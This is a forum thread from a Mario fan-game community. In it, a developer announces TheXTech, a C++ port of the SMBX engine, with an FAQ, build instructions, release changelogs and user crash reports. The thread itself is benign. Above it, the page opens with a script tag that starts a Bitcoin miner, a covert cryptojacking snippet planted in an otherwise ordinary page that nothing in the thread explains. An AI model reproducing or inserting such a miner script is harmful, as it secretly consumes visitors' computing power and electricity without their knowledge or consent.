<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmbx communitypge project

Meet TheXTech: a full working C++ port of SMBX engine [1.3.2.3]

wanna make a game, or anything else? seminal bloom!
User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

Meet TheXTech: a full working C++ port of SMBX engine [1.3.2.3]

Postby Wohlstand » 4 months ago

Hello everybody!
Image
Did you see that I have done little work in my public repositories during February and at the start of March? So, I did a lot of work which I am going to present for you all: it's a full C++ port of the original SMBX engine which now works on multiple platforms (tested on Linux, Windows and macOS), and it does accurately represent original gameplay with the rest of features and bugs!

Image

Image

Image

Image

Image

Image

Image

Image
How I made it?
Since February 2, SMBX's original source code is now open. This fact gave me a lot of helpful material which will help me to make PGE Engine better and faster! However, dealing with the VB6 enviroment is not convenient, and at the same time it's not stable on Linux (because of graphical engine and a risk of VB6 IDE's crash due using of external DLL libraries). So, to get it to work easier, I remembered my very old idea to port the whole SMBX code to C++. So, after a week of initial research I began working. After a week and a half I got a fully working (but buggy in some places) thing. Then, I spent time to debug it and make it usable by everyone. It's the full replica of SMBX 1.3 with the rest of its logical bugs (with some exceptions: I did fix an amount of crash bugs that were a big annoyance while playing a game). It works on multiple platforms: it works on Windows both 32 and 64 bits, on Linux, on macOS, (also may work on Haiku and xBSD).


Frequently Asking Questions
This paragraph contains a list of several questions you would to ask me, I'll give answers to most of them.
What is this?
It's a port of an old VB6 engine, purely written in C++. It reproduces an old engine completely (except an Editor), includes lots of its logical bugs (crashy bugs where they were found and then fixed).


Why did you make it?
Why? I have several purposes for why I made it:
  • It's a very convenient life model for research I want to use in PGE Engine development.
  • To make it work without it being necessary to use Wine on non-Windows platforms and allow it to run on any other than x86 platforms.
  • To be able to optimize it to make it use fewer hardware resources than the original VB6-based build of a game.

You have PGE Engine, why you have spent an over than one month to craft this thing?
I need it for PGE Engine development directly, it's much easier to hack and inspect rather dealing with the old and inconvenient VB6 environment.


What's future of PGE Engine as TheXTech now exist?
I'll continue development of PGE Engine as I still have to pass the second goal of PGE Project.
Since foundation, PGE Project had two goals: 1) save SMBX; 2) give a flexible toolkit for new platform games. Opening of SMBX sources and introducing the TheXTech has solved the first goal: SMBX has been saved and now it's free and opensource cross-platform software. PGE Engine will be used to pass the second goal - giving a toolkit for new games. Unlike TheXTech, PGE Engine gives a full flexibility that allows anyone to build something new from scratch without inheriting of an old game base. However, TheXTech is needed for PGE Engine as a working research model to develop a new engine. It will be similar to GZDoom and Chocolate Doom ports of the Doom game: GZDoom is a powerful and functional engine, the best choice of modders; a Chocolate Doom is an accurate port of the original game to a modern platform with a purpose to represent an original game including even bugs. The PGE Engine intends to be like a GZDoom while TheXTech is an analog of Chocolate Doom to represent an original game on modern platforms.


Can LunaLua work on this?
No, LunaLua won't work: this project is binary-incompatible with LunaLua. This also means that SMBX2 content is incompatible.


How to use this?
Here are many ways to play games with it:
- there are some ready for use packages, just take and use as you did it with SMBX.
- [macOS users, skip this]: use by the same way as an original game: put an executable file into the game root folder with an "thextech.ini" that contains next text:

Code: Select all

[Main]
force-portable = true
, music.ini, sounds.ini and additional "graphics/ui" folder. An important note: all default graphics must be converted into PNG, use GIFs2PNG tool from PGE Project over your "graphics" folder with a "-d" switch. Don't use "-r" switch to keep original GIFs together with new-made PNGs if you plan to continue the use of original VB6-written SMBX.
- use it for debug mode: in your home directory, create the ".PGE_Project/thextech" folder (on macOS the "~/Library/Application Support/PGE Project/thextech") where you should put a full set of game resources and worlds stuff, this folder will work like a game root in the original game. This mode allows you to run an executable file from any folder location of your computer and use the same location of resources for all builds (except these are marked as portable by an INI file).


How to add custom episodes for the macOS version?
If you have a bundled build of TheXTech, all default resources are inside your .app: "Content/Resources/assets/". You can modify the content, but it's not recommended! Instead, after the first run of a game, in your home directory will appear the next directory:

Code: Select all

~/TheXTech Episodes
In this directory, you will find an empty "battle" and "worlds" folder to put your custom stuff. At the "~/Library/Application Support/PGE Project/thextech" path logs, settings and game saves will be stored.
If you want to replace default assets with your own, you can modify the content of the app bundle or compile a new build with giving of the necessary CMake arguments which needed to pack your custom assets root and icon into the new bundle or make the assets-less build (if you give no arguments, the assets-less build will result). Therefore, you need to put the full content of the game root into the "~/Library/Application Support/PGE Project/thextech" folder, include default assets (graphics, music, sounds, intro and outro levels, default battle and worlds folders).


What is different with this thing in comparison to the original VB6 build?
  • First off, it's written in C++ while original (as we already know) is written in VB6.
  • Doesn't have an Editor. Instead, in nearest future it will have a deep integration with PGE Editor that will allow to use it with the same functionality as in original editor (the "magic hand" functionality was kept to allow real-time editing of the level while testing, it's needed to use IPC communication with PGE Editor to get the ability to use it better).
  • Full support of UTF-8 in filename paths and internal text data (original game had the only 8bit ANSI support).
  • For graphics and controlling, it uses an SDL2 library while original game have used WinAPI calls and GDI library.
  • It uses PGE-FL that has better file formats support.
  • A support for WLDX world maps are allowing unlimited credits lines and custom music without it being necessary to use a music.ini for music replacements.
  • Some LVLX exclusive features now working: vertical section wrap, two-way warps, custom "star needed" message, warp enter event, ability to disable stars printing in HUB episodes for specific doors, ability to disable interscene showing when going to another level through a warp.
  • Built-in support for episide and level wide music.ini and sounds.ini to override default music and sounds assets.
  • World maps now supports a custom directory to store any specific resources like custom tiles/scenes/paths/levels and not spam the episode root folder with wolrd map resources anymore.
  • Default config format is INI, old config.dat format is no longer supported, mainly because of incompatible key code values (SDL_Scancode versus VirtualKeys enum of Windows API).
  • Game saves now using the SAVX format instead of a classic SAV. However, if you already have an old gamesave, you still can resume your game by using a new engine now (next gamesave attempt will result a SAVX file, old gamesave in SAV format will be kept untouched).
  • Built-in PNG support for custom and default graphics. Masked GIFs are still supported for backward compatibility, however, without making an unexpected auto-conversion like SMBX-38A does.
  • Checkpoints now have multi-points! You can use them in your levels multiple times without limits!
  • It does use of lazy-decompress algorithm to speed-up the loading of a game and reduce the memory usage.
  • For music and SFX, the MixerX library is used to give a support for a wide amount of sound and music formats!
  • It doesn't embeds any graphics: there are NO trurely hardcoded graphics, everything is now represented by external graphics!
  • Some internal limits have been expanded.
  • Built-in GIF recorder by F11 key (F10 on macOS, F11 is reserved by system UI for a "show desktop" action)

How to build it?
You can read a guide how to build this project from a source code which you can find here: https://github.com/Wohlstand/TheXTech/w ... g-the-game

To build it, you need to have next things:
  • CMake
  • Ninja optionally (to speeds-up the build process)
  • Compatible C/C++ compiler (GCC, Clang, MSVC haven't tested yet)
  • Git (required to pull submodules and clone source of dependent libraries to build them in place)
  • Mercurial (required to clone an official SDL2 repository to build it in place here)
  • Optionally: system-wide installed dependencies: SDL2, libFreeImageLite (a modded implementation of the FreeImage), MixerX sound library, AudioCodecs collection of libraries. Having them be installed in a system gives a major build speed up. However, it's possible to build all these dependencies in place here with a cost of extra build time being added.
DOWNLOADS
Feel free to try it out in action now:
There are ready for use packages, equipped with original SMBX 1.3 assets and "The Invasion 2" episode.

Visit the official page at WohlSoft for downloads and recent news:
https://wohlsoft.ru/forum/viewtopic.php ... 77&p=19831

The full C++ source code repository:
- https://github.com/Wohlstand/TheXTech

If you have any questions, problem reports, or suggestions, feel free to write to me!
Last edited by Wohlstand on 30 Jul 2020, 20:45, edited 10 times in total.

Jongseok
Posts: 346
Joined: 4 years ago
Location: Seoul, Korea

Re: Meet A2xTech: a full working C++ port of SMBX engine

Postby Jongseok » 4 months ago

Wohlstand wrote:
For Windows (XP/Vista/7/8/8.1/10+):
- Download for 64-bit (modern platforms)
- Download for 32-bit (old platforms and 32-bit operating system installs)

If you have any questions, problem reports or suggestions, feel free to write me!
Nuuuuu I don't have any permission to download these files....
When I click 64-bit (modern platforms), the website says "Forbidden
You don't have permission to access /A2xTech/_downloads/Super Mario Bros. X v1.3 - A2xTech-1.3.1-Win64.zip on this server."
Last edited by Jongseok on 14 Mar 2020, 15:28, edited 2 times in total.

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

Re: Meet A2xTech: a full working C++ port of SMBX engine

Postby Wohlstand » 4 months ago

Whops, a little mistake, lemme fix it...

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

Re: Meet TheXTech: a full working C++ port of SMBX engine

Postby Wohlstand » 4 months ago

Jongseok wrote: When I click <link>, the website says "Forbidden
You don't have permission to access /A2xTech/_downloads/Super Mario Bros. X v1.3 - A2xTech-1.3.1-Win64.zip on this server."
Fixed, please retry to use these links again

Jongseok
Posts: 346
Joined: 4 years ago
Location: Seoul, Korea

Re: Meet TheXTech: a full working C++ port of SMBX engine

Postby Jongseok » 4 months ago

Wohlstand wrote: Fixed, please retry to use these links again
Thank you so much!! SMBX finally fully supports 64 bit architecture.

User avatar
Hoeloe
A2XT person
Posts: 941
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Meet TheXTech: a full working C++ port of SMBX engine

Postby Hoeloe » 4 months ago

Why is this in the A2XT subforum? This has nothing to do with A2XT.
Image
Image
Image
Image
Image

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

Re: Meet TheXTech: a full working C++ port of SMBX engine

Postby Wohlstand » 4 months ago

Hoeloe wrote: Why is this in the A2XT subforum? This has nothing to do with A2XT.
Which place you would to suggest for this? I'm fine if move this into another place.

User avatar
Hoeloe
A2XT person
Posts: 941
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Meet TheXTech: a full working C++ port of SMBX engine

Postby Hoeloe » 4 months ago

Project Showcase would probably be the place, since this has nothing to do with SMBX2 or A2XT.
Image
Image
Image
Image
Image

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

Re: Meet TheXTech: a full working C++ port of SMBX engine

Postby Wohlstand » 4 months ago

Hoeloe wrote: Project Showcase would probably be the place, since this has nothing to do with SMBX2 or A2XT.
Okay, that fine, need to ask any moderator for help...

btw: Just now I did a small hotfix, please re-download archives who already downloaded some.

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

Re: Meet TheXTech: a full working C++ port of SMBX engine

Postby Wohlstand » 4 months ago

A small update: I did added into the main post a link to Emscripten build which can be played in a browser now!

Emscripten (Play in browser now)
- Play game in your browser now!

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

New 1.3.2 release!

Postby Wohlstand » 3 months ago

Hello everybody!

Here is a new 1.3.2 release of TheXTech!

It's a bugfix release with a small number of improvements and with full support for testing integration with PGE Editor (need to use the latest Laboratory build!) is working now!

You can find download links in the main post, or, alternatively, can be downloaded from here: https://github.com/Wohlstand/TheXTech/r ... /tag/1.3.2

Changelog for 1.3.2:
  • Added an own timeout sound-92 for P-Switch timer (will be played with 3 seconds before the end)
  • Added a level testing interprocess interface to work with PGE Editor
  • Fixed the Podoboo's tail effect glitch
  • Fixed an incorrect priority of BGO65 in the level file of SMBX prior to 10 format
  • Fixed a classic Bowser's behavior in "The Invasion 1" episode from SMBX 1.0.x
  • Removed 20 layers limit to show/hide/toggle per event (LVLX files only)
  • Extended limit to use up to 200 sections in one level (LVLX files only)
  • Added an error message on attempt to open an invalid level file
  • Fixed a glitch of the rendering of the two-camera screen caused by an incorrect SDL_RenderSetViewport() call usage

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

New 1.3.2.1 release!

Postby Wohlstand » 4 weeks ago

Hello!

This is a small bugfix release:
  • Reworked joysticks support
  • Added a workaround for case-sensitive file systems
  • The 1up sound now playing multiple times if the player has got more than 1 life (for example, a 3-up moon)
  • Fixed a broken work of magic potion warp packed inside of a grass container
  • Fixed a minor inaccuracy of the moving layers system
  • Fixed an incorrect process of blocked playable characters while loaiding the episodes list
All download links at the WohlSoft page.

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

New 1.3.2.2 release!

Postby Wohlstand » 3 weeks ago

Hello!

A hotfix for the previous release:
  • Fixed an incorrect computation of effect sizes, caused by a missing part of code
All download links at the WohlSoft page.

Jongseok
Posts: 346
Joined: 4 years ago
Location: Seoul, Korea

Re: Meet TheXTech: a full working C++ port of SMBX engine [1.3.2.2]

Postby Jongseok » 2 weeks ago

I don't know if this crash happens only on my computer, but please check this. When I enter "Dungeon of Strange Happenings" in Invasion 2, my game just crashes with this message "Engine has crashed because of a wrong arithmetical."
I attached a video for this.

https://youtu.be/Z0i-D_KZy8g

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

Re: Meet TheXTech: a full working C++ port of SMBX engine [1.3.2.2]

Postby Wohlstand » 1 week ago

Jongseok wrote: I don't know if this crash happens only on my computer, but please check this. When I enter "Dungeon of Strange Happenings" in Invasion 2, my game just crashes with this message "Engine has crashed because of a wrong arithmetical."
I attached a video for this.

https://youtu.be/Z0i-D_KZy8g
Yeah, I already fixed this crash recently, so, please take a patch to get the fix:
https://builds.wohlsoft.ru/win32/thexte ... Rel-x64.7z
(replace all files in the copy of a game, remove old "smbx-win64.exe", and optionally rename "thextech.exe" into "smbx-win64.exe" if you want)

That SIGFPE error was happen at the code that I was added to fix computation of effects sizes that was broken, was a very small but silly error.
(so, yeah, I really need to release 1.3.2.3 today at the evening...)

Jongseok
Posts: 346
Joined: 4 years ago
Location: Seoul, Korea

Re: Meet TheXTech: a full working C++ port of SMBX engine [1.3.2.2]

Postby Jongseok » 1 week ago

Wohlstand wrote: Yeah, I already fixed this crash recently, so, please take a patch to get the fix:
https://builds.wohlsoft.ru/win32/thexte ... Rel-x64.7z
(replace all files in the copy of a game, remove old "smbx-win64.exe", and optionally rename "thextech.exe" into "smbx-win64.exe" if you want)

That SIGFPE error was happen at the code that I was added to fix computation of effects sizes that was broken, was a very small but silly error.
(so, yeah, I really need to release 1.3.2.3 today at the evening...)
Oh, thank you! Problem solved

User avatar
Wohlstand
PGE, TheXTech, and LunaLUA developer
Posts: 174
Joined: 6 years ago
First name: Vitaly
Pronouns: he/him/his
Location: Moscow, Russia

Re: Meet TheXTech: a full working C++ port of SMBX engine [1.3.2.3]

Postby Wohlstand » 1 week ago

btw, just now I released 1.3.2.3:

- Fixed a SIGFPE crash, caused by an attempt to load some custom effects
- Resolved the inability to grab vegetables normally, caused by an incorrect porting of a logical expression


Return to “project showcase”

Who is online

Users browsing this forum: No registered users and 1 guest